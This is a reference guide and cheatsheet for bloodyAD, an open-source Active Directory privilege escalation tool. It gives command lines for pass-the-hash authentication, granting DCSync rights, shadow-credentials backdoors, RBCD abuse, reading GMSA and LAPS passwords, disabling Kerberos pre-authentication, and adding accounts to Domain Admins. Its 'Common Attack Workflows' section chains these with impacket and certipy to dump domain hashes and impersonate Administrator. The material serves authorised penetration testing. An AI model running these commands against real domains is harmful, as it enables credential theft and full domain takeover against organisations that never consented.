Author: CravateRouge
Repo: https://github.com/CravateRouge/bloodyAD
Description: AD Privilege Escalation Swiss Army Knife
Wiki: https://github.com/CravateRouge/bloodyAD/wiki
Overview
BloodyAD is an Active Directory privilege escalation framework designed around LDAP. It allows operators to enumerate, modify, and abuse AD objects with a clean command-line interface. All interactions go through LDAP (and optionally Kerberos or certificate authentication), making it a flexible and versatile tool for AD pentesting.
Key capabilities:
- Add/remove users, computers, group members
- Grant DCSync rights
- Perform shadow credentials attacks
- Add RBCD (Resource-Based Constrained Delegation)
- Enumerate AD objects, trusts, writable objects
- Manage DNS records
- Read GMSA/LAPS passwords
- Integrated BloodHound CE collector
Installation
# Via pip
pip install bloodyAD
# From source
git clone https://github.com/CravateRouge/bloodyAD
cd bloodyAD
pip install .
# Kali Linux
sudo apt install bloodyad
Authentication Methods
BloodyAD supports multiple authentication mechanisms:
Password (NTLM)
bloodyAD -d DOMAIN -u USERNAME -p PASSWORD --host DC_IP <command>
Pass-the-Hash (NTLM)
bloodyAD -d DOMAIN -u USERNAME -p LMHASH:NTHASH --host DC_IP <command>
# or with empty LM hash:
bloodyAD -d DOMAIN -u USERNAME -p :NTHASH --host DC_IP <command>
Kerberos (ccache)
bloodyAD -d DOMAIN -u USERNAME -k ccache=/path/to/file.ccache --host DC_IP <command>
# or with KRB5CCNAME env:
export KRB5CCNAME=/path/to/file.ccache
bloodyAD -d DOMAIN -u USERNAME -k --host DC_IP <command>
Kerberos (keytab)
bloodyAD -d DOMAIN -u USERNAME -k keytab=/path/to/file.keytab --host DC_IP <command>
Kerberos (AES/RC4 Key)
# AES key
bloodyAD -d DOMAIN -u USERNAME -p <aes_key> -f aes -k --host DC_IP <command>
# RC4 key (NT hash)
bloodyAD -d DOMAIN -u USERNAME -p <nt_hash> -f rc4 -k --host DC_IP <command>
Certificate (Schannel / PKINIT)
# Schannel auth to LDAP
bloodyAD -d DOMAIN -u USERNAME -c /path/to/key.pem:/path/to/cert.pem --host DC_IP <command>
# Certificate + Kerberos PKINIT
bloodyAD -d DOMAIN -u USERNAME -c /path/to/key.pem:/path/to/cert.pem -k --host DC_IP <command>
Cross-Realm / Multiple KDCs
bloodyAD -d DOMAIN -u USERNAME -k kdc=192.168.1.1 realmc=foreign.realm.corp kdcc=192.168.2.1 \
ccache=/path/to/file.ccache --host DC_IP <command>
Global Arguments
bloodyAD [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD]
[-k [KERBEROS ...]] [-f {b64,hex,aes,rc4,default}]
[-c [CERTIFICATE]] [-s] --host HOST [--dc-ip DC_IP] [--dns DNS]
[-t TIMEOUT] [--gc] [-v {QUIET,INFO,DEBUG,TRACE}] [--json]
{add,get,msldap,remove,set} ...
| Flag | Description |
|---|---|
-d DOMAIN |
Domain for NTLM auth |
-u USERNAME |
Username |
-p PASSWORD |
Password, LMHASH:NTHASH, or key |
-k [KERBEROS ...] |
Enable Kerberos; accepts ccache=, kirbi=, keytab=, kdc=, realmc=, kdcc= |
-f FORMAT |
Password/key format: b64, hex, aes, rc4, default |
-c [CERTIFICATE] |
Schannel/PKINIT cert: key_path:cert_path |
-s |
Use LDAPS/GCS (TLS). -ss removes all encryption (debug) |
--host HOST |
DC hostname or IP |
--dc-ip DC_IP |
DC IP (when --host hostname can't resolve) |
--dns DNS |
DNS server for resolving AD names |
-t TIMEOUT |
Connection timeout in seconds |
--gc |
Connect to Global Catalog |
-v LEVEL |
Verbosity: QUIET, INFO, DEBUG, TRACE |
--json |
Output results in JSON |
Tip: Always provide the full domain FQDN (e.g.,
-d bloody.lab) to avoid constraint errors when creating computers.
Advanced Usage
LDAPS / Channel Binding
Use the -s flag to connect over LDAPS (port 636) instead of plain LDAP (port 389). Required when the DC enforces LDAP signing or channel binding — increasingly common on hardened Server 2019+ and mandatory on Server 2025 by default.
# LDAPS (port 636, TLS)
bloodyAD --host DC_IP -d domain -u user -p pass -s get object john.doe
# LDAPS with Kerberos
bloodyAD --host DC_IP -d domain -u user -p pass -s -k get writable
# LDAPS with certificate auth (Schannel over TLS)
bloodyAD --host DC_IP -d domain -u user -c key.pem:cert.pem -s get object targetUser
# Remove all encryption — plaintext LDAP (debug/lab use only)
bloodyAD --host DC_IP -d domain -u user -p pass -ss get object john.doe
When to use
-s: If you getLDAP_UNAVAILABLE_CRITICAL_EXTENSION,strongAuthRequired, or the DC simply drops your connection, switch to-s. On Server 2025,-smay be required for all write operations.
-sswarning: Strips TLS entirely. Never use outside a controlled lab — credentials go on the wire in plaintext.
Global Catalog
The --gc flag connects to the Global Catalog (port 3268, or 3269 with -s). The GC holds a partial replica of every object in the entire forest, not just the local domain. Use it for forest-wide enumeration when you don't know which child domain an object lives in.
# Forest-wide user search
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
--filter "(objectClass=user)" --attr sAMAccountName,mail
# Find all computers across the forest
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
--filter "(objectClass=computer)" --attr name,dNSHostName,operatingSystem
# Enumerate all groups forest-wide
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
--filter "(objectClass=group)" --attr sAMAccountName,member
# Get object from a foreign domain via GC
bloodyAD --host DC_IP -d domain -u user -p pass --gc get object \
"CN=foreignUser,CN=Users,DC=child,DC=domain,DC=com"
# GC over LDAPS
bloodyAD --host DC_IP -d domain -u user -p pass --gc -s get search \
--filter "(objectClass=user)" --attr sAMAccountName
Limitation: The GC only stores a subset of attributes. If you need all attributes of an object, query the object's home domain directly (without
--gc).
Custom DNS
Use --dns to point bloodyAD at a specific DNS server for resolving AD hostnames. Useful when your attacker box uses a different DNS than the target domain, or when split-brain DNS prevents you from resolving DC hostnames.
# Use the DC itself as DNS resolver
bloodyAD --host DC_HOSTNAME -d domain -u user -p pass \
--dns 10.10.10.1 get object john.doe
# Use a different internal DNS server
bloodyAD --host DC_HOSTNAME -d domain -u user -p pass \
--dns 192.168.1.53 get search --filter "(objectClass=user)"
# Combine with --dc-ip when hostname still won't resolve
bloodyAD --host DC_HOSTNAME --dc-ip 10.10.10.1 \
-d domain -u user -p pass --dns 10.10.10.1 get object john.doe
Tip: If you already know the DC IP and don't need hostname resolution, just pass the IP directly to
--host. Use--dnswhen you need Kerberos by hostname (required for Kerberos auth since tickets are issued per-hostname).
JSON Output
Add --json to any command to get machine-readable JSON output. Pipe to jq for filtering and field extraction, or save to a file for offline processing.
# Basic JSON output
bloodyAD --host DC_IP -d domain -u user -p pass --json get object john.doe
# Extract specific field with jq
bloodyAD --host DC_IP -d domain -u user -p pass --json get object john.doe | \
jq '.[].userAccountControl'
# Get all sAMAccountNames from a search
bloodyAD --host DC_IP -d domain -u user -p pass --json get search \
--filter "(objectClass=user)" --attr sAMAccountName | \
jq '.[].sAMAccountName'
# Save BloodHound collector output details to file
bloodyAD --host DC_IP -d domain -u user -p pass --json get bloodhound > bh_output.json
# List all group members as a flat array
bloodyAD --host DC_IP -d domain -u user -p pass --json get object "Domain Admins" \
--attr member | jq '.[].member[]'
# Get writable objects and filter to computers only
bloodyAD --host DC_IP -d domain -u user -p pass --json get writable --otype COMPUTER | \
jq '.[] | {dn: .distinguishedName, rights: .rights}'
# Save all DNS records to file for offline analysis
bloodyAD --host DC_IP -d domain -u user -p pass --json get dnsDump > dns_records.json
Command Categories
| Category | Purpose |
|---|---|
add |
Create objects or grant rights |
get |
Query and enumerate AD |
remove |
Delete objects or revoke rights |
set |
Modify attributes and ownership |
msldap |
Extended/experimental MSLDAP commands |
add Commands
add badSuccessor
Creates a DMSA (Dedicated Managed Service Account) for BadSuccessor abuse.
bloodyAD --host DC_IP -d domain -u admin -p pass add badSuccessor <DMSA_hostname>
# Specify target principal to inherit privileges from
bloodyAD --host DC_IP -d domain -u admin -p pass add badSuccessor evilDMSA \
-t CN=Administrator,CN=Users,DC=domain,DC=com
# Specify OU for placement
bloodyAD --host DC_IP -d domain -u admin -p pass add badSuccessor evilDMSA \
--ou "OU=ServiceAccounts,DC=domain,DC=com"
add computer
Adds a new computer account to the domain. Requires MAQ > 0 or appropriate privileges.
bloodyAD --host DC_IP -d bloody.lab -u user -p pass add computer EVILPC$ Password123!
# In a specific OU
bloodyAD --host DC_IP -d bloody.lab -u user -p pass add computer EVILPC$ Password123! \
--ou "OU=Computers,DC=bloody,DC=lab"
Note: Use the full domain FQDN with
-dor you may get aCONSTRAINT_ATT_TYPEerror ondNSHostName.
add dcsync
Grants DCSync rights (GetChanges + GetChangesAll) on the domain to a trustee.
bloodyAD --host DC_IP -d domain -u admin -p pass add dcsync john.doe
bloodyAD --host DC_IP -d domain -u admin -p pass add dcsync "CN=john,CN=Users,DC=domain,DC=com"
add dnsRecord
Adds a new DNS record to the AD-integrated DNS zone.
# Simple A record
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord evilhost 10.10.10.99
# With specific type and zone
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord evilhost 10.10.10.99 \
--dnstype A --zone domain.local --ttl 60
# CNAME record
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord alias target.domain.local \
--dnstype CNAME
# Forest-wide DNS
bloodyAD --host DC_IP -d domain -u admin -p pass add dnsRecord evilhost 10.10.10.99 --forest
Supported DNS types: A, AAAA, CNAME, MX, PTR, SRV, TXT
add genericAll
Grants FullControl (GenericAll) permission on a target object to a trustee.
bloodyAD --host DC_IP -d domain -u admin -p pass add genericAll targetUser johnDoe
bloodyAD --host DC_IP -d domain -u admin -p pass add genericAll "Domain Admins" attackerUser
Requires owning the target object or having WriteDACL on it.
add groupMember
Adds a member to an AD group.
bloodyAD --host DC_IP -d domain -u admin -p pass add groupMember "Domain Admins" john.doe
bloodyAD --host DC_IP -d domain -u admin -p pass add groupMember "Remote Desktop Users" attackerPC$
# Also supports foreign (cross-domain) users
bloodyAD --host DC_IP -d domain -u admin -p pass add groupMember "Enterprise Admins" foreign_user
add rbcd
Sets Resource-Based Constrained Delegation (RBCD) on a target computer, allowing a service to impersonate users on that target.
bloodyAD --host DC_IP -d domain -u admin -p pass add rbcd DC01$ EVILPC$
Requires Write permission on target's msDS-AllowedToActOnBehalfOfOtherIdentity. Works on Windows Server 2012+.
add shadowCredentials
Adds Key Credentials (certificate-based auth backdoor) to a target via msDS-KeyCredentialLink.
bloodyAD --host DC_IP -d domain -u admin -p pass add shadowCredentials targetUser
# Save credentials to specific path
bloodyAD --host DC_IP -d domain -u admin -p pass add shadowCredentials targetUser \
--path /tmp/targetUser
Requirements:
- DC must run Windows Server 2016+ (AD Schema level 7+)
- AD CS or a certificate authority must be present for PKINIT to work
add uac
Adds UAC (UserAccountControl) property flags to a user/computer object.
# Disable Kerberos pre-auth (for ASREPRoasting)
bloodyAD --host DC_IP -d domain -u admin -p pass add uac targetUser -f DONT_REQ_PREAUTH
# Multiple flags
bloodyAD --host DC_IP -d domain -u admin -p pass add uac targetUser \
-f DONT_REQ_PREAUTH -f DONT_EXPIRE_PASSWORD
add user
Creates a new domain user.
bloodyAD --host DC_IP -d domain -u admin -p pass add user evilUser Password123!
# In a specific OU
bloodyAD --host DC_IP -d domain -u admin -p pass add user evilUser Password123! \
--ou "OU=Users,DC=domain,DC=com"
get Commands
get bloodhound
Runs the built-in BloodHound CE collector and outputs a zip file.
bloodyAD --host DC_IP -d domain -u user -p pass get bloodhound
# Include trust traversal
bloodyAD --host DC_IP -d domain -u user -p pass get bloodhound --transitive
Note: This collector is still in development and doesn't yet support ADCS ESC nodes or complex edge types.
get children
Lists children of a given AD object.
# All children of a container
bloodyAD --host DC_IP -d domain -u user -p pass get children \
--target "OU=Finance,DC=domain,DC=com"
# Only user objects
bloodyAD --host DC_IP -d domain -u user -p pass get children \
--target "CN=Users,DC=domain,DC=com" --otype user
# Direct children only
bloodyAD --host DC_IP -d domain -u user -p pass get children \
--target "DC=domain,DC=com" --direct
get dnsDump
Retrieves all DNS records from the AD-integrated DNS zone that the current user can read.
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump
# Filter to a specific zone
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump --zone domain.local
# Exclude system records
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump --no-detail
# Traverse trusts
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump --transitive
get membership
Lists all groups a user/computer belongs to (recursive by default).
# Recursive group membership
bloodyAD --host DC_IP -d domain -u user -p pass get membership john.doe
# Direct memberships only
bloodyAD --host DC_IP -d domain -u user -p pass get membership john.doe --no-recurse
# By SID or DN
bloodyAD --host DC_IP -d domain -u user -p pass get membership "S-1-5-21-..."
get object
Retrieves LDAP attributes for an AD object.
# All attributes
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe
# Specific attributes
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe \
--attr userAccountControl,memberOf
# Get group members
bloodyAD --host DC_IP -d domain -u user -p pass get object "Domain Admins" --attr member
# Read GMSA password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'gmsaAccount$' \
--attr msDS-ManagedPassword
# Read LAPS password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'COMPUTER$' \
--attr ms-Mcs-AdmPwd
# Read RootDSE (domain info)
bloodyAD --host DC_IP -d domain -u user -p pass get object ""
# Resolve security descriptors
bloodyAD --host DC_IP -d domain -u user -p pass get object targetUser --resolve-sd
get search
Performs a raw LDAP search with custom filters.
# Find all enabled user accounts
bloodyAD --host DC_IP -d domain -u user -p pass get search \
--filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# Find all computers
bloodyAD --host DC_IP -d domain -u user -p pass get search \
--filter "(objectClass=computer)" --attr name,operatingSystem
# Custom base DN
bloodyAD --host DC_IP -d domain -u user -p pass get search \
--base "OU=Finance,DC=domain,DC=com" \
--filter "(objectClass=user)" --attr sAMAccountName,mail
# Include tombstoned/deleted objects
bloodyAD --host DC_IP -d domain -u user -p pass get search \
--filter "(objectClass=user)" \
-c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
LDAP Request Controls (-c)
The -c flag passes raw LDAP control OIDs with each request. Multiple controls can be stacked. Common OIDs for AD:
| OID | Name | Effect |
|---|---|---|
1.2.840.113556.1.4.2064 |
SHOW_DELETED |
Include tombstoned/deleted objects in results |
1.2.840.113556.1.4.2065 |
SHOW_DEACTIVATED_LINK |
Include deactivated linked attributes (e.g. removed group members) |
1.2.840.113556.1.4.801 |
SD_FLAGS |
Control which parts of nTSecurityDescriptor are returned (Owner, Group, DACL, SACL) |
1.2.840.113556.1.4.319 |
PAGED_RESULTS |
Request paged result sets (auto-handled by bloodyAD in most cases) |
# Search deleted objects (requires Recycle Bin feature or tombstone access)
bloodyAD --host DC_IP -d domain -u user -p pass get search \
--base "CN=Deleted Objects,DC=domain,DC=com" \
--filter "(objectClass=user)" --attr sAMAccountName,lastKnownParent \
-c 1.2.840.113556.1.4.2064
# Include deleted objects AND deactivated links together
bloodyAD --host DC_IP -d domain -u user -p pass get search \
--filter "(objectClass=group)" --attr member \
-c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
get trusts
Displays domain trust relationships as an ASCII tree.
bloodyAD --host DC_IP -d domain -u user -p pass get trusts
# Include transitive trusts
bloodyAD --host DC_IP -d domain -u user -p pass get trusts --transitive
Arrow guide:
A->B= A can authenticate on BA-<B= B can authenticate on AA-<>B= Bidirectional trust
get writable
Finds all AD objects the current user can write to.
# All writable objects
bloodyAD --host DC_IP -d domain -u user -p pass get writable
# Only writable users
bloodyAD --host DC_IP -d domain -u user -p pass get writable --otype USER
# Only write (no child create) rights
bloodyAD --host DC_IP -d domain -u user -p pass get writable --right WRITE
# Show detailed attributes you can write
bloodyAD --host DC_IP -d domain -u user -p pass get writable --detail
# Export to BloodHound zip
bloodyAD --host DC_IP -d domain -u user -p pass get writable --bh
--otype options: ALL, OU, USER, COMPUTER, GROUP, DOMAIN, GPO
--right options: ALL, WRITE, CHILD
remove Commands
remove dcsync
Removes DCSync rights from a trustee.
bloodyAD --host DC_IP -d domain -u admin -p pass remove dcsync john.doe
remove dnsRecord
Removes a DNS record from the AD-integrated zone.
bloodyAD --host DC_IP -d domain -u admin -p pass remove dnsRecord evilhost 10.10.10.99
# Non-A record type
bloodyAD --host DC_IP -d domain -u admin -p pass remove dnsRecord mailhost mail.domain.local \
--dnstype MX --zone domain.local
remove genericAll
Removes FullControl permission from a trustee on a target.
bloodyAD --host DC_IP -d domain -u admin -p pass remove genericAll targetUser attackerUser
remove groupMember
Removes a member from a group.
bloodyAD --host DC_IP -d domain -u admin -p pass remove groupMember "Domain Admins" john.doe
remove object
Deletes an AD object.
bloodyAD --host DC_IP -d domain -u admin -p pass remove object john.doe
bloodyAD --host DC_IP -d domain -u admin -p pass remove object EVILPC$
remove rbcd
Removes RBCD delegation configuration from a target.
bloodyAD --host DC_IP -d domain -u admin -p pass remove rbcd DC01$ EVILPC$
remove shadowCredentials
Removes Key Credentials from a target.
# Remove all key credentials
bloodyAD --host DC_IP -d domain -u admin -p pass remove shadowCredentials targetUser
# Remove specific key by RSA key value
bloodyAD --host DC_IP -d domain -u admin -p pass remove shadowCredentials targetUser \
--key <RSA_KEY_VALUE>
remove uac
Removes UAC property flags from a user/computer.
# Re-enable Kerberos pre-auth
bloodyAD --host DC_IP -d domain -u admin -p pass remove uac targetUser -f DONT_REQ_PREAUTH
# Unlock account + re-enable
bloodyAD --host DC_IP -d domain -u admin -p pass remove uac targetUser \
-f LOCKOUT -f ACCOUNTDISABLE
set Commands
set object
Modifies an attribute on an AD object. Supports add, replace, or delete value operations.
# Set a string attribute
bloodyAD --host DC_IP -d domain -u admin -p pass set object john.doe description -v "New description"
# Set multiple SPNs
bloodyAD --host DC_IP -d domain -u admin -p pass set object svc_account servicePrincipalName \
-v "HTTP/web.domain.com" -v "HTTP/web"
# Delete an attribute (no -v)
bloodyAD --host DC_IP -d domain -u admin -p pass set object john.doe description
# Set raw/binary data
bloodyAD --host DC_IP -d domain -u admin -p pass set object targetObj someAttr \
--raw --b64 -v "<base64_value>"
Raw / Binary Attribute Writes (--raw, --b64)
Use --raw when the target attribute expects binary data rather than a string. Combine with --b64 when your value is base64-encoded. This is necessary for attributes like unicodePwd, msDS-AllowedToActOnBehalfOfOtherIdentity, and nTSecurityDescriptor.
# Set unicodePwd directly (change password via raw write — requires LDAPS -s)
# Value must be UTF-16LE encoded and wrapped in double quotes, then base64'd
python3 -c "import base64; print(base64.b64encode('\"NewPassword123!\"'.encode('utf-16-le')).decode())"
bloodyAD --host DC_IP -d domain -u admin -p pass -s set object targetUser unicodePwd \
--raw --b64 -v "<base64_utf16le_value>"
# Manually write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
# Use impacket to build the security descriptor, then write it raw
python3 -c "
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, ACCESS_ALLOWED_ACE, ACE, ACL, LDAP_SID
import base64, struct
# Build SD granting attacker SID full control
sd = SR_SECURITY_DESCRIPTOR()
sd['Revision'] = b'\x01'
sd['Sbz1'] = b'\x00'
sd['Control'] = 4
sd['OwnerSid'] = LDAP_SID()
sd['GroupSid'] = b''
sd['Sacl'] = b''
dacl = ACL()
dacl['AclRevision'] = 4
# ... build ACE with attacker SID ...
sd['Dacl'] = dacl
print(base64.b64encode(bytes(sd)).decode())
"
bloodyAD --host DC_IP -d domain -u admin -p pass \
set object DC01$ msDS-AllowedToActOnBehalfOfOtherIdentity \
--raw --b64 -v "<base64_security_descriptor>"
# Set msDS-SupportedEncryptionTypes (force RC4 for Kerberoasting)
# Value 0x4 = RC4_HMAC only; encode as 4-byte little-endian, then base64
python3 -c "import base64, struct; print(base64.b64encode(struct.pack('<I', 4)).decode())"
bloodyAD --host DC_IP -d domain -u admin -p pass \
set object svc_account msDS-SupportedEncryptionTypes \
--raw --b64 -v "BAAAAA=="
Tip: For
unicodePwdwrites, LDAPS (-s) is mandatory — AD rejects plaintext LDAP password writes. FormsDS-AllowedToActOnBehalfOfOtherIdentity, preferadd rbcdunless you need fine-grained control over the security descriptor.
set owner
Changes ownership of an AD object.
bloodyAD --host DC_IP -d domain -u admin -p pass set owner targetUser attackerUser
Warning: With only
WRITE_OWNERprivilege, you can only set yourself as owner. Setting another user as owner requiresDS-Set-OwnerorSeRestorePrivilege.
set password
Changes a user or computer account's password.
# As admin (no old password needed)
bloodyAD --host DC_IP -d domain -u admin -p pass set password targetUser NewPassword123!
# As the user themselves (old password required)
bloodyAD --host DC_IP -d domain -u john -p OldPass set password john NewPassword123! \
--oldpass OldPass
# Change expired password without special rights
bloodyAD --host DC_IP -d domain -u admin -p pass set password lockedUser NewPass \
--oldpass ExpiredOldPass
set restore
Restores a deleted AD object from the Recycle Bin.
# Restore by DN
bloodyAD --host DC_IP -d domain -u admin -p pass set restore \
"CN=john.doe\0ADEL:...,CN=Deleted Objects,DC=domain,DC=com"
# Restore with a new name and parent
bloodyAD --host DC_IP -d domain -u admin -p pass set restore deletedUser \
--newName john.doe --newParent "CN=Users,DC=domain,DC=com"
msldap Commands (Experimental)
Warning: These commands are experimental and may change or break between versions.
The msldap subcommand wraps additional MSLDAP console functions. Below are the most commonly used ones for pentesting.
Enumeration
# Dump all user/computer accounts with many attributes
bloodyAD --host DC_IP -d domain -u user -p pass msldap dump
# List domain admins
bloodyAD --host DC_IP -d domain -u user -p pass msldap dadms
# Who am I?
bloodyAD --host DC_IP -d domain -u user -p pass msldap whoami
# AD info
bloodyAD --host DC_IP -d domain -u user -p pass msldap adinfo
# List all GPOs
bloodyAD --host DC_IP -d domain -u user -p pass msldap gpos
# Trust relationships
bloodyAD --host DC_IP -d domain -u user -p pass msldap trusts
# Unconstrained delegation objects
bloodyAD --host DC_IP -d domain -u user -p pass msldap unconstrained
# Constrained delegation objects
bloodyAD --host DC_IP -d domain -u user -p pass msldap constrained
# S4U2Proxy objects
bloodyAD --host DC_IP -d domain -u user -p pass msldap s4u2proxy
# Kerberoastable accounts
bloodyAD --host DC_IP -d domain -u user -p pass msldap spns
# ASREProastable accounts
bloodyAD --host DC_IP -d domain -u user -p pass msldap asrep
# Pre-Windows 2000 machine accounts
bloodyAD --host DC_IP -d domain -u user -p pass msldap pre2000
Credential Recovery
# List all GMSA accounts (and read password if permitted)
bloodyAD --host DC_IP -d domain -u user -p pass msldap gmsa
# List all LAPS passwords
bloodyAD --host DC_IP -d domain -u user -p pass msldap laps
# LAPS for a specific machine
bloodyAD --host DC_IP -d domain -u user -p pass msldap lapstarget <machine_SID>
ADCS Enumeration
# Certificate templates
bloodyAD --host DC_IP -d domain -u user -p pass msldap certtemplates
# Run ADCA security test
bloodyAD --host DC_IP -d domain -u user -p pass msldap certify
# List enrollment services
bloodyAD --host DC_IP -d domain -u user -p pass msldap enrollmentservices
# Root CAs / NT CAs / AIA CAs
bloodyAD --host DC_IP -d domain -u user -p pass msldap rootcas
bloodyAD --host DC_IP -d domain -u user -p pass msldap ntcas
bloodyAD --host DC_IP -d domain -u user -p pass msldap aiacas
BadSuccessor (CVE)
# Check if BadSuccessor vulnerability is present
bloodyAD --host DC_IP -d domain -u user -p pass msldap badsuccessor_check
# List DMSAs
bloodyAD --host DC_IP -d domain -u user -p pass msldap dmsas
Shadow Credentials
bloodyAD --host DC_IP -d domain -u user -p pass msldap shadowcred targetUser
User/Group/Computer Management
# Get user by sAMAccountName
bloodyAD --host DC_IP -d domain -u user -p pass msldap user john.doe
# Get computer by sAMAccountName
bloodyAD --host DC_IP -d domain -u user -p pass msldap machine WORKSTATION01$
# Group members
bloodyAD --host DC_IP -d domain -u user -p pass msldap groupmembers \
"CN=Domain Admins,CN=Users,DC=domain,DC=com"
# Group membership (what groups a user is in)
bloodyAD --host DC_IP -d domain -u user -p pass msldap groupmembership \
"CN=john,CN=Users,DC=domain,DC=com"
# Add user to group (by DN)
bloodyAD --host DC_IP -d domain -u user -p pass msldap addusertogroup \
"CN=john,CN=Users,DC=domain,DC=com" \
"CN=Domain Admins,CN=Users,DC=domain,DC=com"
# Remove user from group (by DN)
bloodyAD --host DC_IP -d domain -u user -p pass msldap deluserfromgroup \
"CN=john,CN=Users,DC=domain,DC=com" \
"CN=Domain Admins,CN=Users,DC=domain,DC=com"
# Enable/disable user
bloodyAD --host DC_IP -d domain -u admin -p pass msldap enableuser "CN=john,CN=Users,DC=domain,DC=com"
bloodyAD --host DC_IP -d domain -u admin -p pass msldap disableuser "CN=john,CN=Users,DC=domain,DC=com"
# Unlock user
bloodyAD --host DC_IP -d domain -u admin -p pass msldap unlockuser "CN=john,CN=Users,DC=domain,DC=com"
# Change password
bloodyAD --host DC_IP -d domain -u admin -p pass msldap changeuserpw \
"CN=john,CN=Users,DC=domain,DC=com" NewPassword123!
SID / DN Resolution
bloodyAD --host DC_IP -d domain -u user -p pass msldap sam2dn john.doe
bloodyAD --host DC_IP -d domain -u user -p pass msldap dn2sam "CN=john,CN=Users,DC=domain,DC=com"
bloodyAD --host DC_IP -d domain -u user -p pass msldap dn2sid "CN=john,CN=Users,DC=domain,DC=com"
bloodyAD --host DC_IP -d domain -u user -p pass msldap sid2dn "S-1-5-21-..."
bloodyAD --host DC_IP -d domain -u user -p pass msldap sidresolv "S-1-5-21-..."
DNS (msldap)
# Dump DNS zones
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnszones
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsdump
# Add a record
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsadd evilhost 10.10.10.99
# Delete a record
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsdelete evilhost
# Query a record
bloodyAD --host DC_IP -d domain -u user -p pass msldap dnsquery evilhost
Privilege Escalation
# Grant DCSync via msldap
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addprivdcsync \
"CN=john,CN=Users,DC=domain,DC=com"
# Grant AddMember right on a group
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addprivaddmember \
"CN=john,CN=Users,DC=domain,DC=com" \
"CN=Domain Admins,CN=Users,DC=domain,DC=com"
# Add RBCD
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addallowedtoactonbehalfofotheridentity \
"CN=DC01,CN=Computers,DC=domain,DC=com" "S-1-5-21-...-<RID>"
# GenericWrite ACE
bloodyAD --host DC_IP -d domain -u admin -p pass msldap add_genericwrite \
"CN=targetUser,CN=Users,DC=domain,DC=com" \
"CN=attackerUser,CN=Users,DC=domain,DC=com"
# Add SPN (for Kerberoasting)
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addspn \
"CN=john,CN=Users,DC=domain,DC=com" "HTTP/evil.domain.com"
# Change owner
bloodyAD --host DC_IP -d domain -u admin -p pass msldap changeowner \
"S-1-5-21-...-<attacker_RID>" "CN=targetObject,DC=domain,DC=com"
# Modify ADCS template name flag (ESC attack setup)
bloodyAD --host DC_IP -d domain -u admin -p pass msldap addcerttemplatenameflagaltname TemplateName
Common Attack Workflows
Workflow: Add Yourself to Domain Admins
# Step 1: Add user to Domain Admins
bloodyAD --host DC_IP -d domain -u compromisedUser -p pass add groupMember "Domain Admins" compromisedUser
Workflow: DCSync Attack
# Step 1: Grant DCSync rights to yourself
bloodyAD --host DC_IP -d domain -u WritePrivUser -p pass add dcsync attackerUser
# Step 2: Use impacket-secretsdump
impacket-secretsdump domain/attackerUser:pass@DC_IP -just-dc
Workflow: Shadow Credentials → NTLM Hash
# Step 1: Add shadow credentials to target
bloodyAD --host DC_IP -d domain -u user -p pass add shadowCredentials targetUser
# Step 2: Use certipy to authenticate with generated cert
certipy auth -pfx targetUser.pfx -dc-ip DC_IP
# This gives you NTLM hash + TGT for targetUser
Workflow: RBCD Abuse
# Step 1: Add attacker-controlled computer to domain
bloodyAD --host DC_IP -d domain.local -u user -p pass add computer EVILPC$ Password123!
# Step 2: Set RBCD on target DC
bloodyAD --host DC_IP -d domain -u user -p pass add rbcd DC01$ EVILPC$
# Step 3: Get TGT for EVILPC$
impacket-getTGT domain/EVILPC$:Password123! -dc-ip DC_IP
# Step 4: S4U2Proxy to get service ticket as Administrator
export KRB5CCNAME=EVILPC$.ccache
impacket-getST -spn cifs/DC01.domain.local -impersonate Administrator \
domain/EVILPC$ -k -no-pass -dc-ip DC_IP
Workflow: ASREPRoasting Setup
# Step 1: Disable pre-auth on a target user (requires WriteProperty on UAC)
bloodyAD --host DC_IP -d domain -u writePrivUser -p pass add uac targetUser -f DONT_REQ_PREAUTH
# Step 2: Roast the hash
impacket-GetNPUsers domain/targetUser -no-pass -dc-ip DC_IP
Workflow: Read GMSA Password
# List GMSA accounts (and read password if your user is in the allowed readers group)
bloodyAD --host DC_IP -d domain -u user -p pass get object 'gmsaAccount$' \
--attr msDS-ManagedPassword
# Or via msldap
bloodyAD --host DC_IP -d domain -u user -p pass msldap gmsa
Cheatsheet
Quick-reference for the most common pentesting tasks. Replace
DC_IP,domain,user,pass, and target names as needed.
Auth Skeletons
# Password / PTH
bloodyAD --host DC_IP -d domain -u USER -p 'PASS'
bloodyAD --host DC_IP -d domain -u USER -p 'LMHASH:NTHASH'
bloodyAD --host DC_IP -d domain -u USER -p ':NTHASH'
# Kerberos (ccache)
export KRB5CCNAME=/path/to/file.ccache
bloodyAD --host DC_HOSTNAME -d domain -u USER -k
# Certificate (Schannel)
bloodyAD --host DC_IP -d domain -u USER -c key.pem:cert.pem
# LDAPS (when channel binding enforced)
bloodyAD --host DC_IP -d domain -u USER -p 'PASS' -s
Enumeration
# Writable objects (your attack surface)
bloodyAD --host DC_IP -d domain -u user -p pass get writable
bloodyAD --host DC_IP -d domain -u user -p pass get writable --otype USER --detail
# Group membership
bloodyAD --host DC_IP -d domain -u user -p pass get membership john.doe
